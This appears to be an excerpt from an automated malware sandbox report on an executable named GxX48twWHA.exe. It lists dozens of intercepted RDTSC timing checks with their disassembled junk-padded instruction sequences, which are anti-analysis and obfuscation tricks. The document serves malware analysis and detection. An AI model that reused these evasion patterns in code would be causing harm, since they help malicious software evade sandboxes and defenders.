Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F989E5 second address: F989FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7DD0B81651h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F96FE7 second address: F96FFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F7DD0B815DBh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F96FFD second address: F97001 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F97001 second address: F97007 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F9BA2F second address: F9BA33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F9BA33 second address: F9BA39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F9BA39 second address: F9BA4A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7DD0B8164Ch 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F9BA4A second address: F9BA68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push ebx 0x0000000b jne 00007F7DD0B815D6h 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 pop ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 jc 00007F7DD0B815D6h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F9BA68 second address: F9BA6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F9BA6C second address: F9BAA2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7DD0B815E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a jmp 00007F7DD0B815E6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: FA024B second address: FA026B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F7DD0B81659h 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: FA19C3 second address: FA19E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F7DD0B815E6h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: FA63CE second address: FA63D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: FA650A second address: FA6510 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: FA6510 second address: FA6540 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edi 0x0000000d push eax 0x0000000e jmp 00007F7DD0B81659h 0x00000013 pushad 0x00000014 jnl 00007F7DD0B81646h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: FA6679 second address: FA6693 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007F7DD0B815E5h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: FB7FA8 second address: FB7FB3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F7DD0B81646h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: FB7FB3 second address: FB7FEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c jmp 00007F7DD0B815DEh 0x00000011 push eax 0x00000012 pop eax 0x00000013 pop edx 0x00000014 pushad 0x00000015 jmp 00007F7DD0B815E9h 0x0000001a pushad 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: FB7FEE second address: FB7FF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: FB7C7D second address: FB7CBC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 jmp 00007F7DD0B815E7h 0x0000000e jmp 00007F7DD0B815DFh 0x00000013 pop esi 0x00000014 je 00007F7DD0B815DCh 0x0000001a push edi 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: FCD927 second address: FCD93F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007F7DD0B8164Fh 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: FCD93F second address: FCD943 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: FCC3DE second address: FCC3E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: FCC3E2 second address: FCC3FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F7DD0B815E3h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: FCCB01 second address: FCCB09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: FCCB09 second address: FCCB0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: FD29AA second address: FD29AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: FD29AF second address: FD29B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F7DD0B815D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: FD29B9 second address: FD29BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: FDC207 second address: FDC20B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: FF0F0B second address: FF0F11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: FF0F11 second address: FF0F19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: FF2EE9 second address: FF2F2A instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F7DD0B81662h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f jmp 00007F7DD0B81656h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: FF2F2A second address: FF2F3D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7DD0B815DCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 10093C6 second address: 10093D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jl 00007F7DD0B81646h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 10093D2 second address: 10093DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 100824C second address: 1008250 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 1008250 second address: 1008263 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7DD0B815DDh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 1008263 second address: 1008270 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F7DD0B81648h 0x00000008 pushad 0x00000009 popad 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 10083E4 second address: 1008412 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7DD0B815E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F7DD0B815E4h 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 1008412 second address: 1008417 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 1008417 second address: 1008423 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 1008423 second address: 1008440 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jng 00007F7DD0B8164Eh 0x0000000b jnl 00007F7DD0B81646h 0x00000011 push edx 0x00000012 pop edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jnc 00007F7DD0B81646h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 1008440 second address: 1008444 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 1008444 second address: 1008448 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 1008448 second address: 1008454 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 10085C3 second address: 10085C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 10085C9 second address: 10085CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 10085CF second address: 100860A instructions: 0x00000000 rdtsc 0x00000002 jc 00007F7DD0B8164Ah 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b pop eax 0x0000000c js 00007F7DD0B8164Ch 0x00000012 jg 00007F7DD0B81646h 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F7DD0B8164Bh 0x00000021 push edi 0x00000022 jmp 00007F7DD0B81652h 0x00000027 pop edi 0x00000028 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 100860A second address: 100862E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F7DD0B815D6h 0x00000009 jmp 00007F7DD0B815E9h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 100877C second address: 10087A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7DD0B8164Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F7DD0B8164Fh 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 1008BA2 second address: 1008BA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 1008BA6 second address: 1008BC2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7DD0B81658h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 1008BC2 second address: 1008BCA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 1008E88 second address: 1008E8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 100BCFE second address: 100BD02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 100BD02 second address: 100BD0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 100C06B second address: 100C071 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 100C071 second address: 100C0C5 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F7DD0B81646h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push ebx 0x00000010 call 00007F7DD0B81648h 0x00000015 pop ebx 0x00000016 mov dword ptr [esp+04h], ebx 0x0000001a add dword ptr [esp+04h], 00000019h 0x00000022 inc ebx 0x00000023 push ebx 0x00000024 ret 0x00000025 pop ebx 0x00000026 ret 0x00000027 pushad 0x00000028 mov dword ptr [ebp+122D2267h], edi 0x0000002e movzx esi, ax 0x00000031 popad 0x00000032 push 00000004h 0x00000034 jl 00007F7DD0B8164Ch 0x0000003a mov edx, dword ptr [ebp+122D3AB7h] 0x00000040 call 00007F7DD0B81649h 0x00000045 pushad 0x00000046 push edx 0x00000047 push eax 0x00000048 push edx 0x00000049 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 100C0C5 second address: 100C13F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 jg 00007F7DD0B815D6h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 pushad 0x00000012 pushad 0x00000013 jl 00007F7DD0B815D6h 0x00000019 jmp 00007F7DD0B815E6h 0x0000001e popad 0x0000001f push ebx 0x00000020 pushad 0x00000021 popad 0x00000022 pop ebx 0x00000023 popad 0x00000024 mov eax, dword ptr [esp+04h] 0x00000028 push esi 0x00000029 jmp 00007F7DD0B815DDh 0x0000002e pop esi 0x0000002f mov eax, dword ptr [eax] 0x00000031 jmp 00007F7DD0B815E5h 0x00000036 mov dword ptr [esp+04h], eax 0x0000003a push eax 0x0000003b push edx 0x0000003c jg 00007F7DD0B815E5h 0x00000042 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 100C13F second address: 100C149 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F7DD0B81646h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 100C149 second address: 100C14D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 100C444 second address: 100C46A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F7DD0B81656h 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d jo 00007F7DD0B8164Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 100C46A second address: 100C521 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F7DD0B815DCh 0x0000000a jno 00007F7DD0B815D6h 0x00000010 popad 0x00000011 nop 0x00000012 mov dl, 62h 0x00000014 push dword ptr [ebp+122D2611h] 0x0000001a call 00007F7DD0B815E8h 0x0000001f clc 0x00000020 pop edx 0x00000021 mov dword ptr [ebp+122D1DA9h], ecx 0x00000027 call 00007F7DD0B815D9h 0x0000002c jnc 00007F7DD0B815EAh 0x00000032 push eax 0x00000033 pushad 0x00000034 jmp 00007F7DD0B815DCh 0x00000039 push edx 0x0000003a push eax 0x0000003b pop eax 0x0000003c pop edx 0x0000003d popad 0x0000003e mov eax, dword ptr [esp+04h] 0x00000042 pushad 0x00000043 push eax 0x00000044 pushad 0x00000045 popad 0x00000046 pop eax 0x00000047 jp 00007F7DD0B815DCh 0x0000004d popad 0x0000004e mov eax, dword ptr [eax] 0x00000050 pushad 0x00000051 jmp 00007F7DD0B815E3h 0x00000056 jg 00007F7DD0B815DCh 0x0000005c jg 00007F7DD0B815D6h 0x00000062 popad 0x00000063 mov dword ptr [esp+04h], eax 0x00000067 js 00007F7DD0B815EAh 0x0000006d push eax 0x0000006e push edx 0x0000006f push ecx 0x00000070 pop ecx 0x00000071 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 100F7B0 second address: 100F7B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 100F7B4 second address: 100F7C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 100F7C2 second address: 100F7CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F7DD0B81646h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 100F7CC second address: 100F7E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7DD0B815E1h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 100F7E1 second address: 100F7EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push edx 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 100F7EC second address: 100F7F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 100F7F1 second address: 100F7FB instructions: 0x00000000 rdtsc 0x00000002 jng 00007F7DD0B81652h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 100F7FB second address: 100F801 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 100F3B9 second address: 100F3C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 100F3C3 second address: 100F3C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F1C1C6 second address: F1C1D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F7DD0B81646h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F1C5B7 second address: F1C5BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F1C5BB second address: F1C5C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F1C5C1 second address: F1C5C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50A0416 second address: 50A041C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50A041C second address: 50A0496 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F7DD0B815E2h 0x00000009 and esi, 7B0BDA78h 0x0000000f jmp 00007F7DD0B815DBh 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007F7DD0B815E8h 0x0000001b adc ch, FFFFFFD8h 0x0000001e jmp 00007F7DD0B815DBh 0x00000023 popfd 0x00000024 popad 0x00000025 pop edx 0x00000026 pop eax 0x00000027 push eax 0x00000028 pushad 0x00000029 mov ebx, 1C0FEBFAh 0x0000002e movsx edi, cx 0x00000031 popad 0x00000032 xchg eax, ebp 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007F7DD0B815E9h 0x0000003a rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50A0496 second address: 50A04A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7DD0B8164Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50A04A6 second address: 50A04AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50A04AA second address: 50A050E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F7DD0B8164Dh 0x00000011 xor cl, FFFFFF86h 0x00000014 jmp 00007F7DD0B81651h 0x00000019 popfd 0x0000001a call 00007F7DD0B81650h 0x0000001f mov si, 1041h 0x00000023 pop ecx 0x00000024 popad 0x00000025 mov edx, dword ptr [ebp+0Ch] 0x00000028 pushad 0x00000029 push eax 0x0000002a push edx 0x0000002b call 00007F7DD0B81659h 0x00000030 pop esi 0x00000031 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50C0782 second address: 50C0786 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 50C0786 second address: 50C078C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
